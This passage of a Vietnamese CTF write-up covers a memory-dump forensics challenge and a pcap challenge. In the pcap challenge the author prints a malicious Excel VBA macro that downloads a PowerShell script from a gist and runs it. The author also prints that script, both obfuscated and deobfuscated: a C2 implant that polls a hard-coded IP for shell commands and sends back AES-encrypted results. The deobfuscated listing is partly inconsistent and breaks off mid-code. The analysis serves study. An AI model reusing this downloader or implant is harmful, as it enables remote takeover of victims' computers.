```
Và mình có file flag cuối cùng:

### flag: `CHH{FTP_4nd_TFTP_4r3_b0th_un$af3`
## Báo cáo dang dở
Tải về và giải nén được một file memory dump, mình dùng Volatility để phân tích file này.
```
vol.exe -f "MEMORY.DMP" windows.pslist.PsList
```
Dùng `pslist`, ta được list các process và từ đề bài có thể thấy được cần tập trung vào process `WINWORD.EXE` - PID: `1736`
```
vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736
```
Output:
```
PID Process Offset HandleValue Type GrantedAccess Name
...
1736 WINWORD.EXE 0xf8a001cebbf0 0x718 Section 0xf0007
1736 WINWORD.EXE 0xfa80040fd2f0 0x71c Event 0x1f0003 OleDfRootC3E09668F74F21C5
1736 WINWORD.EXE 0xfa80041e2070 0x720 File 0x12019f \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
1736 WINWORD.EXE 0xfa8004652e80 0x724 File 0x13019f \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP
1736 WINWORD.EXE 0xf8a00229c2f0 0x728 Section 0xf0007
1736 WINWORD.EXE 0xfa8003df8f60 0x730 Event 0x1f0003
1736 WINWORD.EXE 0xfa8003d930f0 0x734 Event 0x1f0003
1736 WINWORD.EXE 0xfa800462ae60 0x738 ALPC Port 0x1f0001
1736 WINWORD.EXE 0xfa80040f5550 0x73c Thread 0x1fffff Tid 1216 Pid 1736
1736 WINWORD.EXE 0xfa800452ddc0 0x740 Event 0x1f0003
```
Đã tìm thấy file AutoRecovery quý giá, dump nó bằng lệnh:
```
vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736
```

Mờ file AutoRecovery bằng word và mình có flag:
### flag: `CHH{4ut0R3c0v3r_s4v3_my_l1f3}`
## Under Control
Sau khi tải về và giải nén, mình thu thập được 1 file pcap. Mở bằng wireshark, có thể thấy file pcap này ghi lại các packet giữa 2 máy tính kết nối với nhau. Nhận thấy đây là 1 file pcap khá nặng, mình check các HTTP Objects được gửi và tìm thấy 1 file excel.

Tải file này xuống và mở thử, mình được 1 file nhìn không giống malware 1 chút nào:

Nhận thấy có sự yêu cầu bật Macro, mình sử dụng tool [olevba]() để phân tích file này và phát hiện có sử dụng VBA Macro. Tuy nhiên file VBA này đã bị obsfucate nặng nề, sử dụng các ký tự Unicode để đặt làm tên biến khiến cho việc đọc code rất khó khăn.
```
teebow1e@wwc:~$ olevba Danh20sC3A1ch20phC3B2ng20thi.xls
olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Danh20sC3A1ch20phC3B2ng20thi.xls
Type: OLE
Sub Auto_Open()
Workbook_Open
End Sub
Sub AutoOpen()
Workbook_Open
End Sub
Sub WorkbookOpen()
Workbook_Open
End Sub
Sub Document_Open()
Workbook_Open
End Sub
Sub DocumentOpen()
Workbook_Open
End Sub
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
```
(mình đã lược bỏ bớt output để tránh writeup bị dài dòng)
Sau khi rename lại các biến, loại bỏ 1 số dòng code k sử dụng đến, mình có được đoạn code:
```vba=
Function function1(parameter1)
printable_letter = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
garbage = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(parameter1)
find_some_letters = InStr(printable_letter, Mid(parameter1, y, 1))
If find_some_letters > 0 Then
string_slicing = Mid(garbage, find_some_letters, 1)
garbage2 = garbage2 + string_slicing
Else
garbage2 = garbage2 + Mid(parameter1, y, 1)
End If
End Function
Sub Workbook_Open()
Dim wscript_object As Object
Dim full_path_to_AppData As String
Dim unsure_garbage As String
Dim unsure_garbage2 As String
Dim some_string As Integer
some_string = Chr(50) + Chr(48) + Chr(48)
Set wscript_object = CreateObject("WScript.Shell")
full_path_to_AppData = wscript_object.SpecialFolders("AppData")
Dim operation
Dim important_data
Dim unsure_garbage3
Dim index As Long
Dim index2 As String
Dim unsure_garbage4 As Long
Dim garbage3 As String
Dim index3 As Long
Dim index4 As String
Dim unsure_garbage5 As String
Dim garbage3 As Long
Dim do_something_to_AppData
Dim run_a_program
Dim important_data_2 As Integer
Dim something_internet
Dim unsure_garbage_6
important_data_2 = 1
Range("A1").Value = function1("4BEiàiuP3x6¿QEi³")
Dim important_data_3 As String
weird_text = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI"
important_data_3 = function1(weird_text)
MsgBox important_data_3, vbInformation, function1("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿")
Dim date_1 As Date
Dim date_2 As Date
date_1 = Date
date_2 = DateSerial(2023, 6, 6)
If date_1 < date_2 Then
Set something_internet = CreateObject("microsoft.xmlhttp")
Set run_a_program = CreateObject("Shell.Application")
do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@")
something_internet.Open "get", function1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
something_internet.send
important_data = something_internet.responseBody
If something_internet.Status = 200 Then
Set operation = CreateObject("adodb.stream")
operation.Open
operation.Type = important_data_2
operation.Write important_data
operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2
operation.Close
End If
run_a_program.Open (do_something_to_AppData)
Else
MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
End If
End Sub
```
Mình nhận thấy đoạn code này chủ yếu là decrypt các ký tự Unicode, sau đó fetch 1 file từ trên mạng, sau đó chạy nó. Chính vì thế, mình đã clean lại code, decrypt các dòng Unicode bằng `function1`:
```vba=
Sub Workbook_Open()
Dim wscript_object As Object
Dim full_path_to_AppData As String
Dim unsure_garbage As String
Dim unsure_garbage2 As String
Dim some_string As Integer
some_string = 200
Set wscript_object = CreateObject("WScript.Shell")
full_path_to_AppData = wscript_object.SpecialFolders("AppData")
Dim operation
Dim important_data
Dim unsure_garbage3
Dim index As Long
Dim index2 As String
Dim unsure_garbage4 As Long
Dim garbage3 As String
Dim index3 As Long
Dim index4 As String
Dim unsure_garbage5 As String
Dim garbage3 As Long
Dim do_something_to_AppData
Dim run_a_program
Dim important_data_2 As Integer
Dim something_internet
Dim unsure_garbage_6
important_data_2 = 1
Range("A1").Value = Opening document
Dim important_data_3 As String
important_data3 = "You have been hacked and your important documents have been stolen!" & vbCrLf & "To retrieve these data, you are required to transfer 100k to the following bank account number:" & vbCrLf & "1010107112000" & vbCrLf & "Account holder: Nguyen Thanh Long" & vbCrLf & "Bank: MB Bank"
MsgBox important_data_3, vbInformation, function1("We deeply regret to inform you")
Dim date_1 As Date
Dim date_2 As Date
date_1 = Date
date_2 = DateSerial(2023, 6, 6)
If date_1 < date_2 Then
Set something_internet = CreateObject("microsoft.xmlhttp")
Set run_a_program = CreateObject("Shell.Application")
do_something_to_AppData = full_path_to_AppData + function1("\k¿i6Ü_~Bb@")
something_internet.Open "get", function1("https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1"), FALSE
something_internet.send
important_data = something_internet.responseBody
If something_internet.Status = 200 Then
Set operation = CreateObject("adodb.stream")
operation.Open
operation.Type = important_data_2
operation.Write important_data
operation.SaveToFile do_something_to_AppData, important_data_2 + important_data_2
operation.Close
End If
run_a_program.Open (do_something_to_AppData)
Else
MsgBox
End If
End Sub
```
> https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1
Ồ, một cái tên thật quen thuộc và một đường link hiện ra. Tải file Powershell kia về và chạy, mình có layer tiếp theo, cũng bị obsfucate:
```=
PS C:\Users\teebow1e\Documents> C:\Users\teebow1e\Documents\stage_final.ps1
${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.
s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0
}"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),
'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2
}"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {
${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','
ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae'))
${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc"
${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros"
${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128
${Aju`Jv`RAz`99}."keysI`ze" = 256
if (${5`TM`RWPluy}) {
if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) {
${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`P
l`Uy})
}
else {
${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy}
}
}
if (${Vx`ZtM`FF}) {
if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) {
${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`K
e"(${vx`z`TmFF})
}
else {
${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff}
}
}
${aJUjvRA`Z`99}
}
function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {
${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`Fpd
QRF99})
${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff}
${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"()
${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh");
[byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99}
${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"()
${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})
}
function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {
${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`
jRx`qcF99})
${5t`MR`WpLuY} = ${B`Y`Tes}[0..15]
${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY}
${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"();
${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16);
${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"()
${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)
}
function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){
${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','t
e'),'S',("{0}{2}{1}"-f'm.Di','st','agno'))
${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co}
${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue}
${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue}
${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE}
${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5}
${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1
}" -f 'ces','s'),'S')
${P}."s`T`ArTiN`FO" = ${C`W`zvYVj}
${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou')
${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()
${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"()
${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"()
${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99")
${K`cnJcQ`Dl}
}
${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))
${t`wFTrI} = ("{0}{1}"-f'7','331')
${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{
0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))
${n} = 3
${C`w`j2TWh} = ""
${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()
${F`N`FFGXDzj} = "p"
${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kV`QBXbuR} = @{
("{0}{1}"-f 'n','ame') = "$YCRUTw"
("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ"
}
${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"
${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){
${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"
if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){
${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY}
${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"()
${FL`AG} = ${MA04`x`mgY}[0]
if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){
${WB1`SWYo`je} = ${MA04`X`MgY}[1]
${yO8`X`M5S} = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"]
if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){
${F} = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe')
${y`O`8XM5} = "/c "
foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " }
${KcNJ`C`QdL} = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5}
${kCnjCQ`DL} = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl}
${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}
&("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','
POS')
}
elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){
${f} = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.')
${yO`8X`m5} = "/c "
foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " }
${kc`Nj`cqdL} = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5}
${k`cn`jCQDL} = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl}
${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}
&("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P')
}
elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){
${n} = [int]${yO`8Xm`5S}[0]
${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""}
&("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS')
}
elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){
${c`wJ2t`Wh} = ${Y`O8Xm`5S}[0]
${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${ijF`Ys`E2} = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
${kV`Qb`XbUr} = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""}
.("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P')
}
elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){
exit
}
}
.("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N}
}
}
```
Để deobs các file PowerShell như này thì mình thường dùng [PSDecode](https://github.com/R3MRUM/PSDecode), tuy nhiên lần này lại không chạy (do Antivirus báo liên tục) được nên mình đã dùng ChatGPT để deobsfucate :D
```powershell=
$cipher = [System.Security.Cryptography.CipherMode]::CBC
$padding = [System.Security.Cryptography.PaddingMode]::Zeros
$convert = [System.Convert]
$enc = [System.Text.Encoding]
$dns = [System.Net.Dns]
$str = [System.String]
function Create-AesManageObject($iv, $key) {
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = $cipher
$aesManaged.Padding = $padding
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($iv) {
if ($iv.GetType().Invoke().Name -eq $str) {
$aesManaged.IV = $convert::FromBase64String.Invoke($iv)
} else {
$aesManaged.IV = $iv
}
}
if ($key) {
$aesManaged.Key = $key
}
}
}
function Encrypt($key, $plaintext) {
$aesManaged = Create-AesManageObject $key
$encryptor = $aesManaged.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$result = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
[Convert]::ToBase64String($result)
}
function Decrypt($key, $encrypted) {
$aesManaged = Create-AesManageObject $key
$decryptor = $aesManaged.CreateDecryptor()
$bytes = [Convert]::FromBase64String($encrypted)
$iv = $bytes[0..15]
$encryptedData = $bytes[16..($bytes.Length - 1)]
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
$result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)
$aesManaged.Dispose()
$result
}
function Shell($path, $arguments) {
$processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$processStartInfo.FileName = $path
$processStartInfo.RedirectStandardError = $true
$processStartInfo.RedirectStandardOutput = $true
$processStartInfo.UseShellExecute = $false
$processStartInfo.Arguments = $arguments
$process = New-Object System.Diagnostics.Process
$process.StartInfo = $processStartInfo
$process.Start() | Out-Null
$process.WaitForExit()
$standardOutput = $process.StandardOutput.ReadToEnd()
$standardError = $process.StandardError.ReadToEnd()
$result = "VALID $standardOutput`n$standardError"
$result
}
$serverIP = '128.199.207.220'
$serverPort = '7331'
$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
$delay = 3
$currentTask = ""
$hostname = [System.Net.Dns]::GetHostName()
$requestUri = "http://$serverIP:$serverPort/reg"
$body = @{
'name' = $hostname
'type' = "p"
} | ConvertTo-Json
$taskUri = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUri = "http://$serverIP:$serverPort/results/$currentTask"
while ($true) {
$taskContent = Invoke-WebRequest -UseBasicParsing -Uri $taskUri -Method 'GET' | Select-Object -ExpandProperty Content
if (-not [string]::IsNullOrEmpty($taskContent)) {
$decryptedTask = Decrypt $key $taskContent
$taskArgs = $decryptedTask -split " "
$taskType = $taskArgs[0]
if ($taskType -eq 'shell') {
$filePath = 'cmd.exe'
$arguments = "/c $taskArgs"
$result = Shell $filePath $arguments
$encryptedResult = Encrypt $key $result
$resultBody = @{ 'result' = $encryptedResult }
Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
}
elseif ($taskType -eq 'powershell') {
$filePath = 'powershell.exe'
$arguments = "/c $taskArgs"
$result = Shell $filePath $arguments
$encryptedResult = Encrypt $key $result
$resultBody = @{ 'result' = $encryptedResult }
Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
}
elseif ($taskType -eq 'sleep') {
$delay = [int]$taskArgs[1]
$resultBody = @{ 'result' = "" }
Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
}
elseif ($taskType -eq 'rename') {
$currentTask = $taskArgs[1]
$taskUri = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUri = "http://$serverIP:$serverPort/results/$currentTask"
